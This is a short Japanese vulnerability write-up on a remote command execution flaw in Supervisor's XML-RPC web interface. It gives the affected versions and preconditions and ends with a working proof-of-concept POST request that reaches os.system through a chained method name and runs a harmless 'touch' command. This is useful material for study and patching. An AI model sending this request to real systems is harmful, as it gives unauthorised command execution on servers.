
Supervisord リモートコマンド実行脆弱性スクリプト
Supervisor は Python で書かれたプロセス管理ツールで、UNIX系システム(Windowsは非対応)においてプロセスの起動、再起動(自動再起動)、停止(Pythonプロセスに限らず)を簡単に行える。
Supervisor は C/S モデルのプログラムであり、supervisord がサーバー側、supervisorctl がクライアント側である。簡単に言えば、クライアントが supervisor の命令を入力し、サーバー側の API を呼び出して各種操作を実行する。
Supervisor の Web サービスは多くの人が比較的よく使うもので、つまり supervisord のクライアントである。ルーティングが通っていれば、Web ページを介してリモートから supervisor のクライアントと同様の操作を実行できる。Web インターフェースを介した操作は XML-RPC インターフェースによって実現されており、この脆弱性も XML-RPC インターフェースにおけるデータ処理に起因する。
Supervisor version 3.1.2 から Supervisor version 3.3.2
Web サービスが有効で、9001 ポートにアクセス可能
パスワードが弱い、または空である
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
この POC には出力はありません。
